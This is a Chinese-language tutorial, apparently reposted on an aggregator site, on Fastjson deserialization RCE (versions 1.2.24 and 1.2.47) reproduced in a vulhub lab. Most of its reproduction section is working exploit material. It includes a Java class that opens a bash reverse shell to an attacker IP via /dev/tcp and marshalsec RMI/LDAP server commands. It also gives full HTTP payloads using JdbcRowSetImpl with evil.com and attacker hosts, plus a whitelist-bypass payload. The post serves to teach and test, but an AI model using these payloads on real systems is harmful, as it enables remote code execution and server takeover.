Java安全篇-Fastjson漏洞

前言知识:

一、json

概念:

json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。

格式:
{"name":"wenda","age":21,}
 作用:

JSON 可以作为一个对象或者字符串存在,前者用于解读 JSON 中的数据,后者用于通过网络传输 JSON 数据。这不是一个大事件——JavaScript 提供一个全局的 可访问的 JSON 对象来对这两种数据进行转换。

二、Fastjson漏洞

原理:

Fastjson是一个由阿里巴巴开源的Java库,用于将 Java 对象转换成其 JSON 表示形式,也可以用来将 JSON 字符串转换成等效的 Java 对象,与原生的java反序列化相比,FastJson未使用readObject()方法进行反序列化,而是使用了自定义的一套方法,引进了AutoType功能,在反序列化的过程中,会读取到@type的内容,还调用getter和setter方法将JSON字符串还原成对象。,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

为何引进 AutoType功能:

即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,

指纹特征:

任意抓个包,提交方式改为POST,花括号不闭合。返回包在就会出现fastjson字样

危害:

远程代码执行

影响版本:

影响版本:Fastjson1.2.24及之前版本。

代码审计:

参考

fastjson反序列化原理分析 - FreeBuf网络安全行业门户

复现:

Java安全篇--Fastjson1.2.24-RCE漏洞

1.RIM攻击

REDEME.md

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。参考资料:- https://www.freebuf.com/vuls/208339.html
- http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/## 漏洞环境运行测试环境:```
docker compose up -d
```环境运行后,访问`http://your-ip:8090`即可看到JSON格式的输出。我们向这个地址POST一个JSON对象,即可更新服务端的信息:```
curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
```## 漏洞复现因为目标环境是Java 8u102,没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制,我们可以使用`com.sun.rowset.JdbcRowSetImpl`的利用链,借助JNDI注入来执行命令。首先编译并上传命令执行代码,如`http://evil.com/TouchFile.class`:```java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
```然后我们借助[marshalsec](https://github.com/mbechler/marshalsec)项目,启动一个RMI服务器,监听9999端口,并制定加载远程类`TouchFile.class`:```shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
```向靶场服务器发送Payload,带上RMI的地址:```
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil.com:9999/TouchFile","autoCommit":true}
}
```可见,命令`touch /tmp/success`已成功执行:

打开环境 抓包得到

 修改为POST传参 再修改type 和传入json数据 发现name变了

 

说明咱们就可以POST传参了  为后面传paylaod做准备

 在vulhub下的fastjson 1.2.24文件夹下保存以下代码为TouchFile.java文件

注意 这里的IP为你的攻击机IP

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.85.136/2333 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

编译为.class文件  jdk环境为1.8 高环境实现不了远程调用

javac TouchFile.java

把编译好的class文件传到kali(攻击机)中 ,可以选择scp命令复制

在class文件所在的目录,Python起一个http服务。用80端口启动http服务的命令为:

python3 -m http.server 80

 

利用marshalsec工具(需要maven环境编译)启动RMI服务

 marshalsec工具下载地址

git clone https://github.com/mbechler/marshalsec

安装maven

apt-get update
apt-get install maven

进入marshalsec目录,执行如下命令进行编译。

mvn clean package -DskipTests

 

 启动RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.85.136:80/#TouchFile" 9999

然后重新访问靶场 抓包修改为Content-Typeapplication/json,发送payload

POST / HTTP/1.1Host: 192.168.85.129:8090User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/jsonContent-Length: 170{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.85.136:9999/TouchFile","autoCommit":true}

 httpserver收到请求,RMI服务器收到请求,复现成功

此时应该已经完成了漏洞复现,我们检测一下是否在tmp目录touch创建了文件successFrank即可。运行docker ps查看容器id 进入容器,执行

docker exec -it 容器id /bin/bash
2.反弹shell攻击 

Fastjson反序列化漏洞原理与漏洞复现(CVE-2017-18349)_fastjson反序列化漏洞cve-CSDN博客

3.修复方案:

 将Fastjson升级至最新版本

Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_fastjson漏洞原理-CSDN博客 

Java安全篇--Fastjson1.2.47-RCE漏洞4

概念:

fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月,fastjson 又被爆出在fastjson< =1.2.47的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令

 其实这个漏洞利用跟1.2.24差不多,就是最后上传的payload进行更改

{ "name":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "x":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://ip:9999/Exploit", "autoCommit":true } }

一文读懂面试官都在问的Fastjson漏洞 - FreeBuf网络安全行业门户

fastjson 1.2.47 RCE漏洞保姆级复现 - FreeBuf网络安全行业门户 

修复方案:

升级至最新版本即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2905842.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

权限框架Sa-Token

系列文章目录 文章目录 系列文章目录前言前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。 一个轻量级 java 权限认证框架,让鉴权变得简单、优雅! https://sa-tok…

【学习】JMeter和Postman两种测试工具的主要区别有哪些

Postman和JMeter都是常用的API测试工具&#xff0c;但它们之间存在一些不同之处。以下是Postman和JMeter的主要区别&#xff1a; 语言支持 Postman是一个基于Chrome的应用程序&#xff0c;因此它使用JavaScript作为编程语言。这意味着你可以使用JavaScript来编写测试脚本和断…

高精度原 控制电路——D3820

概 况 D3820是一款高精度原边控制离线式PWM功率开关。本文主要介绍D3820的特征和详细的工作原理&#xff0c;对反激式隔离AC-DC开关电源提供较为详细的测试过程。 特 点 1、全电压范围CC/CV精度保持在5%以内 2、用原边控制&#xff0c;无需TL431和光耦 3、欠压锁定…

vue前端工程化

前言 本文介绍的是有关于vue方面的前端工程化实践&#xff0c;主要通过实践操作让开发人员更好的理解整个前端工程化的流程。 本文通过开发准备阶段、开发阶段和开发完成三个阶段开介绍vue前端工程化的整体过程。 准备阶段 准备阶段我将其分为&#xff1a;框架选择、规范制…

CY3.5-COOH热稳定性Cyanine3.5-COOH星戈瑞

CY3.5-COOH的热稳定性是评估其性能和应用的指标之一。在实际应用中&#xff0c;特别是在高温环境下&#xff0c;热稳定性决定了染料能否保持其原有的物理化学性质&#xff0c;从而确保实验结果的准确性和可靠性。 研究表明&#xff0c;CY3.5-COOH花菁染料羧基科研试剂具有较高…

游戏推广的新篇章:Xinstall助力实现全渠道效果统计与提升

随着游戏市场的日益繁荣&#xff0c;游戏推广已成为各大游戏公司争夺市场份额的关键环节。然而&#xff0c;面对众多推广渠道和复杂的用户行为&#xff0c;如何精准地评估推广效果、优化投放策略&#xff0c;成为了游戏推广人员亟待解决的问题。此时&#xff0c;Xinstall作为一…

Linux:详解TCP协议段格式

文章目录 认识TCPTCP协议段格式 本篇主要总结的是TCP协议的一些字段 认识TCP TCP协议全称是传输控制协议&#xff0c;也就是说是要对于数据的传输进行一个控制 以上所示的是对于TCP协议进行数据传输的一个理解过程 全双工 至此就可以对于TCP协议是全双工的来进行理解了&…

【LeetCode热题100】124.二叉树的最大路径和(二叉树)

一.题目要求 二叉树中的 路径 被定义为一条节点序列&#xff0c;序列中每对相邻节点之间都存在一条边。同一个节点在一条路径序列中 至多出现一次 。该路径 至少包含一个 节点&#xff0c;且不一定经过根节点。 路径和 是路径中各节点值的总和。 给你一个二叉树的根节点 root …

Spring-IoC-属性注入的注解实现

1、创建对象的注解 Component 用于声明Bean对象的注解&#xff0c;在类上添加该注解后&#xff0c;表示将该类创建对象的权限交给Spring容器。可以直接将这些类直接创建&#xff0c;使用的时候可以直接用。 注解的value属性用于指定bean的id值&#xff0c;value可以省略&…

中国草地类型分布图

中国是草地资源大国&#xff0c;拥有的各类天然草地39 283万公顷&#xff0c;约占国土面积的41%&#xff0c;仅次于澳大利亚&#xff0c;居世界第二位。它主要分布在年降水量400毫米以上的干旱、半干旱地区&#xff0c;南方和东部湿润、半湿润地区以及东部和南部海岸带等。 北方…

浏览器工作原理与实践--块级作用域:var缺陷以及为什么要引入let和const

在前面《07 | 变量提升&#xff1a;JavaScript代码是按顺序执行的吗&#xff1f;》这篇文章中&#xff0c;我们已经讲解了JavaScript中变量提升的相关内容&#xff0c;正是由于JavaScript存在变量提升这种特性&#xff0c;从而导致了很多与直觉不符的代码&#xff0c;这也是Jav…

【Pt】马灯贴图绘制过程 03-制作油渍、积尘效果

目录 效果 一、制作油渍效果 1.1 基本油渍 1.2 流淌的油渍痕迹 二、制作浮尘效果 三、制作积尘效果 效果 一、制作油渍效果 1.1 基本油渍 将上篇制作的“锈迹_深色”和“锈迹_浅色”两个文件夹再次合并为一个文件夹 这里就命名为“锈迹” 添加一个填充图层 设置Base …

Redis中的客户端(三)

客户端 身份验证 客户端状态的authenticated属性用于记录客户端是否通过了身份验证: typedef struct redisClient {// ...int authenticated;// ... } redisClient;如果authnticated的值为0&#xff0c;那么表示客户端未通过身份验证&#xff1b;如果authenticated的值为1&a…

快速上手Pytrch爬虫之爬取某应图片壁纸

一、前置知识 1 爬虫简介 网络爬虫&#xff08;又被称作网络蜘蛛、网络机器人&#xff0c;在某些社区中也经常被称为网页追逐者)可以按照指定的规则&#xff08;网络爬虫的算法&#xff09;自动浏览或抓取网络中的信息。 1.1 Web网页存在方式 表层网页指的是不需要提交表单&…

【Java面试题】Redis上篇(基础、持久化、底层数据结构)

文章目录 基础1.什么是Redis?2.Redis可以用来干什么&#xff1f;3.Redis的五种基本数据结构&#xff1f;4.Redis为什么这么快&#xff1f;5.什么是I/O多路复用&#xff1f;6.Redis6.0为什么使用了多线程&#xff1f; 持久化7.Redis的持久化方式&#xff1f;区别&#xff1f;8.…

基于.NET Core开发的轻量级分布式配置中心

前言 今天给大家推荐一个基于.NET Core开发的轻量级分布式配置中心&#xff1a;AgileConfig。 AgileConfig官方介绍 AgileConfig秉承轻量化的特点&#xff0c;部署简单、配置简单、使用简单、学习简单&#xff0c;它只提取了必要的一些功能&#xff0c;并没有像Apollo那样复…

代码随想录算法训练营第36天|738.单调递增的数字|968.监控二叉树|总结

代码随想录算法训练营第36天|738.单调递增的数字|968.监控二叉树|总结 738.单调递增的数字 https://programmercarl.com/0738.%E5%8D%95%E8%B0%83%E9%80%92%E5%A2%9E%E7%9A%84%E6%95%B0%E5%AD%97.html class Solution { public:int monotoneIncreasingDigits(int n) {string s…

python(一)网络爬取

在爬取网页信息时&#xff0c;需要注意网页爬虫规范文件robots.txt eg:csdn的爬虫规范文件 csdn.net/robots.txt User-agent: 下面的Disallow规则适用于所有爬虫&#xff08;即所有用户代理&#xff09;。星号*是一个通配符&#xff0c;表示“所有”。 Disallow&…

c++中public和private继承怎么影响了变量的使用,今天一篇文章给你讲清楚

文章目录 准则一&#xff1a;继承关系不会改变子类访问基类的变量权限举个例子 准则二&#xff1a;继承关系只会改变基类中的变量继承到子类中后&#xff0c;权限的改变举个例子 准则三&#xff1a;基类中的protected变量在外部是不可访问的&#xff0c;类似private。但可以在继…

【WebJs 爬虫】逆向进阶技术必知必会

前言 在数字化时代&#xff0c;网络爬虫已成为一种强大的数据获取工具&#xff0c;广泛应用于市场分析、竞争对手研究、舆情监测等众多领域。爬虫技术能够帮助我们快速、准确地获取网络上的海量信息&#xff0c;为决策提供有力支持。然而&#xff0c;随着网络环境的日益复杂和…